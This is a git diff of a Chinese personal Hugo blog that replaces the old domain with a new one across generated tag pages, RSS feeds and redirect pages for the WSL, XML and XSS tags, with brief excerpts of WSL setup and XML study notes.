doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="wsl"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://chenjunlinabc.github.io/tags/wsl/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="wsl"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/tags/>Tags</a></div><h1>wsl</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>wsl2-windows子系统简单配置</h2></header><div class=entry-content><p>wsl全称Windows Subsystem for Linux
 打开启动或关闭windows功能，选择虚拟机平台，安装完毕功能，重启
 打开Windows Power Shell，输入
 启用 wsl
@@ -24,7 +24,7 @@
 wsl –install
 查看可用的Linux发行版
 wsl –list –online
-或者...</p></div><footer class=entry-footer><span title='2021-06-16 17:43:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to wsl2-windows子系统简单配置" href=https://xiaochenabc123.github.io/posts/35/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+或者...</p></div><footer class=entry-footer><span title='2021-06-16 17:43:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to wsl2-windows子系统简单配置" href=https://chenjunlinabc.github.io/posts/35/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script></body></html>
\ No newline at end of file
diff --git a/tags/wsl/index.xml b/tags/wsl/index.xml
index 2a648677..59f2ac2b 100644
--- a/tags/wsl/index.xml
+++ b/tags/wsl/index.xml
@@ -2,22 +2,22 @@
 <rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/">
   <channel>
     <title>wsl on 小陈的个人博客</title>
-    <link>https://xiaochenabc123.github.io/tags/wsl/</link>
+    <link>https://chenjunlinabc.github.io/tags/wsl/</link>
     <description>Recent content in wsl on 小陈的个人博客</description>
     <image>
       <title>小陈的个人博客</title>
-      <url>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
-      <link>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
+      <url>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
+      <link>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
     </image>
     <generator>Hugo -- gohugo.io</generator>
     <language>zh-cn</language>
-    <lastBuildDate>Wed, 16 Jun 2021 17:43:00 +0000</lastBuildDate><atom:link href="https://xiaochenabc123.github.io/tags/wsl/index.xml" rel="self" type="application/rss+xml" />
+    <lastBuildDate>Wed, 16 Jun 2021 17:43:00 +0000</lastBuildDate><atom:link href="https://chenjunlinabc.github.io/tags/wsl/index.xml" rel="self" type="application/rss+xml" />
     <item>
       <title>wsl2-windows子系统简单配置</title>
-      <link>https://xiaochenabc123.github.io/posts/35/</link>
+      <link>https://chenjunlinabc.github.io/posts/35/</link>
       <pubDate>Wed, 16 Jun 2021 17:43:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/35/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/35/</guid>
       <description>wsl全称Windows Subsystem for Linux
 打开启动或关闭windows功能，选择虚拟机平台，安装完毕功能，重启
 打开Windows Power Shell，输入
diff --git a/tags/wsl/page/1/index.html b/tags/wsl/page/1/index.html
index 65012c62..7718781d 100644
--- a/tags/wsl/page/1/index.html
+++ b/tags/wsl/page/1/index.html
@@ -1 +1 @@
-<!doctype html><html lang=zh-cn><head><title>https://xiaochenabc123.github.io/tags/wsl/</title><link rel=canonical href=https://xiaochenabc123.github.io/tags/wsl/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://xiaochenabc123.github.io/tags/wsl/"></head></html>
\ No newline at end of file
+<!doctype html><html lang=zh-cn><head><title>https://chenjunlinabc.github.io/tags/wsl/</title><link rel=canonical href=https://chenjunlinabc.github.io/tags/wsl/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://chenjunlinabc.github.io/tags/wsl/"></head></html>
\ No newline at end of file
diff --git a/tags/xml/index.html b/tags/xml/index.html
index 5f81714e..e3e0da53 100644
--- a/tags/xml/index.html
+++ b/tags/xml/index.html
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>xml | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/tags/xml/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://xiaochenabc123.github.io/tags/xml/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="xml"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://xiaochenabc123.github.io/tags/xml/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="xml"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/tags/>Tags</a></div><h1>xml</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>XML学习笔记</h2></header><div class=entry-content><p>xml中文全称为可扩展标记语言（Extensible Markup Language）
+<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>xml | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/tags/xml/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://chenjunlinabc.github.io/tags/xml/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="xml"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://chenjunlinabc.github.io/tags/xml/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="xml"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/tags/>Tags</a></div><h1>xml</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>XML学习笔记</h2></header><div class=entry-content><p>xml中文全称为可扩展标记语言（Extensible Markup Language）
 xml和html类似，但是xml是用来传输和存储数据的，xml大小写敏感，xml的标记是自定义的
 xml声明，该声明位在xml文档的第一行，结尾
 version属性表示xml的版本，encoding属性表示该xml文档的编码方式，standalone属性表示该文档是否为独立，no表示依赖于外部文档
@@ -34,7 +34,7 @@
 REQUIRED // 表示这个元素的这个属性是必须的
 IMPLIED // 表示这个元素可以包含这个属性，也可以不包含
 FIXED // 表示这个固定的属性默认值，不能将该属性的值设置为其他值，使用该说明时还需要提供一个默认值，如果XML没有定义该属性，那么其值就被自动设置为DTD定义的默认值
-默认值 // 和FIXED一样，不同的是，这个属性的值可以改变，如果在xml文档中设置了新的值，那么新的值会覆盖DTD定义的默认值</p></div><footer class=entry-footer><span title='2021-06-16 09:32:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to XML学习笔记" href=https://xiaochenabc123.github.io/posts/17/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+默认值 // 和FIXED一样，不同的是，这个属性的值可以改变，如果在xml文档中设置了新的值，那么新的值会覆盖DTD定义的默认值</p></div><footer class=entry-footer><span title='2021-06-16 09:32:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to XML学习笔记" href=https://chenjunlinabc.github.io/posts/17/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script></body></html>
\ No newline at end of file
diff --git a/tags/xml/index.xml b/tags/xml/index.xml
index ceefb99c..5e399332 100644
--- a/tags/xml/index.xml
+++ b/tags/xml/index.xml
@@ -2,22 +2,22 @@
 <rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/">
   <channel>
     <title>xml on 小陈的个人博客</title>
-    <link>https://xiaochenabc123.github.io/tags/xml/</link>
+    <link>https://chenjunlinabc.github.io/tags/xml/</link>
     <description>Recent content in xml on 小陈的个人博客</description>
     <image>
       <title>小陈的个人博客</title>
-      <url>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
-      <link>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
+      <url>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
+      <link>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
     </image>
     <generator>Hugo -- gohugo.io</generator>
     <language>zh-cn</language>
-    <lastBuildDate>Wed, 16 Jun 2021 09:32:00 +0000</lastBuildDate><atom:link href="https://xiaochenabc123.github.io/tags/xml/index.xml" rel="self" type="application/rss+xml" />
+    <lastBuildDate>Wed, 16 Jun 2021 09:32:00 +0000</lastBuildDate><atom:link href="https://chenjunlinabc.github.io/tags/xml/index.xml" rel="self" type="application/rss+xml" />
     <item>
       <title>XML学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/17/</link>
+      <link>https://chenjunlinabc.github.io/posts/17/</link>
       <pubDate>Wed, 16 Jun 2021 09:32:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/17/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/17/</guid>
       <description>xml中文全称为可扩展标记语言（Extensible Markup Language）
 xml和html类似，但是xml是用来传输和存储数据的，xml大小写敏感，xml的标记是自定义的
 xml声明，该声明位在xml文档的第一行，结尾
diff --git a/tags/xml/page/1/index.html b/tags/xml/page/1/index.html
index 4ce4812f..c1e85e99 100644
--- a/tags/xml/page/1/index.html
+++ b/tags/xml/page/1/index.html
@@ -1 +1 @@
-<!doctype html><html lang=zh-cn><head><title>https://xiaochenabc123.github.io/tags/xml/</title><link rel=canonical href=https://xiaochenabc123.github.io/tags/xml/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://xiaochenabc123.github.io/tags/xml/"></head></html>
\ No newline at end of file
+<!doctype html><html lang=zh-cn><head><title>https://chenjunlinabc.github.io/tags/xml/</title><link rel=canonical href=https://chenjunlinabc.github.io/tags/xml/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://chenjunlinabc.github.io/tags/xml/"></head></html>
\ No newline at end of file
diff --git a/tags/xss/index.html b/tags/xss/index.html
index e18df0d5..fafbb0ab 100644
--- a/tags/xss/index.html
+++ b/tags/xss/index.html
@@ -1,21 +1,14 @@
-<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>XSS | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/tags/xss/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://xiaochenabc123.github.io/tags/xss/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="XSS"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://xiaochenabc123.github.io/tags/xss/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="XSS"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" 